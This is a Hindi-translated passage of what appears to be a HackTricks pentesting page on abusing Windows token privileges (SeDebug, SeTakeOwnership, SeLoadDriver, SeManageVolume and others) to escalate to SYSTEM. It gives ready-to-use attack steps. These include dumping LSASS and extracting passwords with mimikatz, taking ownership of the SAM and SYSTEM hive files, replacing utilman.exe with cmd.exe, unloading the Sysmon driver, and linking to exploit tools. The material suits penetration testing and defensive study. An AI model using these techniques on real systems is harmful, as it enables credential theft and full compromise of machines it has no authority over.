SeCreateTokenPrivilege एक शक्तिशाली अनुमति है, विशेष रूप से तब उपयोगी जब एक उपयोगकर्ता के पास टोकनों का अनुकरण करने की क्षमता हो, लेकिन SeImpersonatePrivilege की अनुपस्थिति में भी। यह क्षमता उस टोकन के अनुकरण की क्षमता पर निर्भर करती है जो उसी उपयोगकर्ता का प्रतिनिधित्व करता है और जिसका अखंडता स्तर वर्तमान प्रक्रिया के स्तर से अधिक नहीं होता है।
|
||||
|
||||
**मुख्य बिंदु:**
|
||||
|
||||
- **SeImpersonatePrivilege के बिना अनुकरण:** विशेष परिस्थितियों में टोकनों का अनुकरण करके EoP के लिए SeCreateTokenPrivilege का लाभ उठाना संभव है।
|
||||
- **टोकन अनुकरण के लिए शर्तें:** सफल अनुकरण के लिए लक्षित टोकन को उसी उपयोगकर्ता का होना चाहिए और इसका अखंडता स्तर उस प्रक्रिया के अखंडता स्तर के बराबर या कम होना चाहिए जो अनुकरण करने का प्रयास कर रही है।
|
||||
- **अनुकरण टोकनों का निर्माण और संशोधन:** उपयोगकर्ता एक अनुकरण टोकन बना सकते हैं और इसे एक विशेषाधिकार प्राप्त समूह के SID (सुरक्षा पहचानकर्ता) को जोड़कर बढ़ा सकते हैं।
|
||||
|
||||
### SeLoadDriverPrivilege
|
||||
|
||||
यह विशेषाधिकार **डिवाइस ड्राइवरों को लोड और अनलोड** करने की अनुमति देता है, जिसमें `ImagePath` और `Type` के लिए विशिष्ट मानों के साथ एक रजिस्ट्री प्रविष्टि का निर्माण शामिल है। चूंकि `HKLM` (HKEY_LOCAL_MACHINE) पर सीधे लिखने की पहुंच प्रतिबंधित है, इसलिए `HKCU` (HKEY_CURRENT_USER) का उपयोग किया जाना चाहिए। हालाँकि, ड्राइवर कॉन्फ़िगरेशन के लिए `HKCU` को कर्नेल द्वारा मान्यता प्राप्त करने के लिए, एक विशिष्ट पथ का पालन करना आवश्यक है।
|
||||
|
||||
यह पथ `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` है, जहाँ `<RID>` वर्तमान उपयोगकर्ता का सापेक्ष पहचानकर्ता है। `HKCU` के अंदर, इस पूरे पथ को बनाना होगा, और दो मान सेट करने होंगे:
|
||||
|
||||
- `ImagePath`, जो निष्पादित होने वाले बाइनरी का पथ है
|
||||
- `Type`, जिसका मान `SERVICE_KERNEL_DRIVER` (`0x00000001`) है।
|
||||
|
||||
**अनुसरण करने के चरण:**
|
||||
|
||||
1. प्रतिबंधित लेखन पहुंच के कारण `HKLM` के बजाय `HKCU` तक पहुँचें।
|
||||
2. `HKCU` के भीतर `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` पथ बनाएं, जहाँ `<RID>` वर्तमान उपयोगकर्ता का सापेक्ष पहचानकर्ता है।
|
||||
3. `ImagePath` को बाइनरी के निष्पादन पथ पर सेट करें।
|
||||
4. `Type` को `SERVICE_KERNEL_DRIVER` (`0x00000001`) के रूप में असाइन करें।
|
||||
```python
|
||||
# Example Python code to set the registry values
|
||||
import winreg as reg
|
||||
|
||||
# Define the path and values
|
||||
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
|
||||
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
|
||||
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
|
||||
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
|
||||
reg.CloseKey(key)
|
||||
```
|
||||
अधिक तरीके इस विशेषाधिकार का दुरुपयोग करने के लिए [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
|
||||
|
||||
### SeTakeOwnershipPrivilege
|
||||
|
||||
यह **SeRestorePrivilege** के समान है। इसका मुख्य कार्य एक प्रक्रिया को **एक ऑब्जेक्ट का स्वामित्व ग्रहण करने** की अनुमति देना है, जो WRITE_OWNER एक्सेस अधिकारों के प्रावधान के माध्यम से स्पष्ट विवेकाधीन पहुंच की आवश्यकता को दरकिनार करता है। प्रक्रिया में पहले लिखने के उद्देश्यों के लिए इच्छित रजिस्ट्री कुंजी का स्वामित्व सुरक्षित करना शामिल है, फिर लिखने के संचालन को सक्षम करने के लिए DACL को बदलना शामिल है।
|
||||
```bash
|
||||
takeown /f 'C:\some\file.txt' #Now the file is owned by you
|
||||
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
|
||||
# Use this with files that might contain credentials such as
|
||||
%WINDIR%\repair\sam
|
||||
%WINDIR%\repair\system
|
||||
%WINDIR%\repair\software
|
||||
%WINDIR%\repair\security
|
||||
%WINDIR%\system32\config\security.sav
|
||||
%WINDIR%\system32\config\software.sav
|
||||
%WINDIR%\system32\config\system.sav
|
||||
%WINDIR%\system32\config\SecEvent.Evt
|
||||
%WINDIR%\system32\config\default.sav
|
||||
c:\inetpub\wwwwroot\web.config
|
||||
```
|
||||
### SeDebugPrivilege
|
||||
|
||||
यह विशेषाधिकार **अन्य प्रक्रियाओं को डिबग करने** की अनुमति देता है, जिसमें मेमोरी में पढ़ने और लिखने की क्षमता शामिल है। मेमोरी इंजेक्शन के लिए विभिन्न रणनीतियाँ, जो अधिकांश एंटीवायरस और होस्ट घुसपैठ रोकथाम समाधानों को चकमा देने में सक्षम हैं, इस विशेषाधिकार के साथ लागू की जा सकती हैं।
|
||||
|
||||
#### Dump memory
|
||||
|
||||
आप [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) का उपयोग कर सकते हैं [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) से या [SharpDump](https://github.com/GhostPack/SharpDump) का उपयोग कर सकते हैं **एक प्रक्रिया की मेमोरी को कैप्चर करने** के लिए। विशेष रूप से, यह **स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** प्रक्रिया पर लागू हो सकता है, जो एक उपयोगकर्ता के सफलतापूर्वक सिस्टम में लॉग इन करने के बाद उपयोगकर्ता क्रेडेंशियल्स को संग्रहीत करने के लिए जिम्मेदार है।
|
||||
|
||||
आप फिर इस डंप को mimikatz में लोड कर सकते हैं ताकि पासवर्ड प्राप्त कर सकें:
|
||||
```
|
||||
mimikatz.exe
|
||||
mimikatz # log
|
||||
mimikatz # sekurlsa::minidump lsass.dmp
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
```
|
||||
#### RCE
|
||||
|
||||
यदि आप `NT SYSTEM` शेल प्राप्त करना चाहते हैं, तो आप उपयोग कर सकते हैं:
|
||||
|
||||
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
|
||||
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
|
||||
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
|
||||
```bash
|
||||
# Get the PID of a process running as NT SYSTEM
|
||||
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
|
||||
```
|
||||
### SeManageVolumePrivilege
|
||||
|
||||
`SeManageVolumePrivilege` एक Windows उपयोगकर्ता अधिकार है जो उपयोगकर्ताओं को डिस्क वॉल्यूम प्रबंधित करने की अनुमति देता है, जिसमें उन्हें बनाना और हटाना शामिल है। जबकि यह प्रशासकों के लिए निर्धारित है, यदि इसे गैर-प्रशासक उपयोगकर्ताओं को दिया जाता है, तो इसका उपयोग विशेषाधिकार वृद्धि के लिए किया जा सकता है।
|
||||
|
||||
इस विशेषाधिकार का उपयोग वॉल्यूम को हेरफेर करने के लिए किया जा सकता है, जिससे पूर्ण वॉल्यूम एक्सेस प्राप्त होता है। [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) का उपयोग सभी उपयोगकर्ताओं को C:\ के लिए पूर्ण एक्सेस देने के लिए किया जा सकता है।
|
||||
|
||||
इसके अतिरिक्त, [इस Medium लेख](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) में वर्णित प्रक्रिया `SeManageVolumePrivilege` के साथ DLL हाइजैकिंग का उपयोग करके विशेषाधिकार बढ़ाने का वर्णन करती है। एक पेलोड DLL `C:\Windows\System32\wbem\tzres.dll` रखकर और `systeminfo` को कॉल करके DLL निष्पादित किया जाता है।
|
||||
|
||||
## Check privileges
|
||||
```
|
||||
whoami /priv
|
||||
```
|
||||
**जो टोकन Disabled के रूप में दिखाई देते हैं** उन्हें सक्षम किया जा सकता है, आप वास्तव में _Enabled_ और _Disabled_ टोकनों का दुरुपयोग कर सकते हैं।
|
||||
|
||||
### सभी टोकनों को सक्षम करें
|
||||
|
||||
यदि आपके पास टोकन निष्क्रिय हैं, तो आप सभी टोकनों को सक्षम करने के लिए स्क्रिप्ट [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
.\EnableAllTokenPrivs.ps1
|
||||
whoami /priv
|
||||
```
|
||||
Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
|
||||
|
||||
## Table
|
||||
|
||||
Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
|
||||
|
||||
| Privilege | Impact | Tool | Execution path | Remarks |
|
||||
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"यह एक उपयोगकर्ता को टोकन का अनुकरण करने और potato.exe, rottenpotato.exe और juicypotato.exe जैसे उपकरणों का उपयोग करके nt सिस्टम पर प्रिवेस्क करने की अनुमति देगा"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|
||||
| **`SeBackup`** | **Threat** | _**Built-in commands**_ | संवेदनशील फ़ाइलों को `robocopy /b` के साथ पढ़ें | <p>- यदि आप %WINDIR%\MEMORY.DMP पढ़ सकते हैं तो यह अधिक दिलचस्प हो सकता है<br><br>- <code>SeBackupPrivilege</code> (और robocopy) खुली फ़ाइलों के मामले में सहायक नहीं है।<br><br>- Robocopy को /b पैरामीटर के साथ काम करने के लिए SeBackup और SeRestore दोनों की आवश्यकता होती है।</p> |
|
||||
| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` के साथ स्थानीय प्रशासनिक अधिकारों सहित मनमाना टोकन बनाएं। | |
|
||||
| **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` टोकन को डुप्लिकेट करें। | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|
||||
| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. <code>szkg64.sys</code> जैसे बग्गी कर्नेल ड्राइवर को लोड करें<br>2. ड्राइवर की भेद्यता का शोषण करें<br><br>वैकल्पिक रूप से, इस विशेषता का उपयोग <code>ftlMC</code> अंतर्निहित कमांड के साथ सुरक्षा-संबंधित ड्राइवरों को अनलोड करने के लिए किया जा सकता है। यानी: <code>fltMC sysmondrv</code></p> | <p>1. <code>szkg64</code> भेद्यता को <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a> के रूप में सूचीबद्ध किया गया है<br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">शोषण कोड</a> को <a href="https://twitter.com/parvezghh">Parvez Anwar</a> द्वारा बनाया गया था</p> |
|
||||
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. SeRestore विशेषता के साथ PowerShell/ISE लॉन्च करें।<br>2. <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a> के साथ विशेषता सक्षम करें।<br>3. utilman.exe का नाम बदलकर utilman.old करें<br>4. cmd.exe का नाम बदलकर utilman.exe करें<br>5. कंसोल को लॉक करें और Win+U दबाएं</p> | <p>हमला कुछ AV सॉफ़्टवेयर द्वारा पता लगाया जा सकता है।</p><p>वैकल्पिक विधि उसी विशेषता का उपयोग करके "Program Files" में संग्रहीत सेवा बाइनरी को प्रतिस्थापित करने पर निर्भर करती है</p> |
|
||||
| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. cmd.exe का नाम बदलकर utilman.exe करें<br>4. कंसोल को लॉक करें और Win+U दबाएं</p> | <p>हमला कुछ AV सॉफ़्टवेयर द्वारा पता लगाया जा सकता है।</p><p>वैकल्पिक विधि उसी विशेषता का उपयोग करके "Program Files" में संग्रहीत सेवा बाइनरी को प्रतिस्थापित करने पर निर्भर करती है।</p> |
|
||||
| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>टोकनों को इस तरह से हेरफेर करें कि स्थानीय प्रशासनिक अधिकार शामिल हों। SeImpersonate की आवश्यकता हो सकती है।</p><p>पुष्टि की जानी है।</p> | |
|
||||
|
||||
## Reference
|
||||
|
||||
- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
|
||||
- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user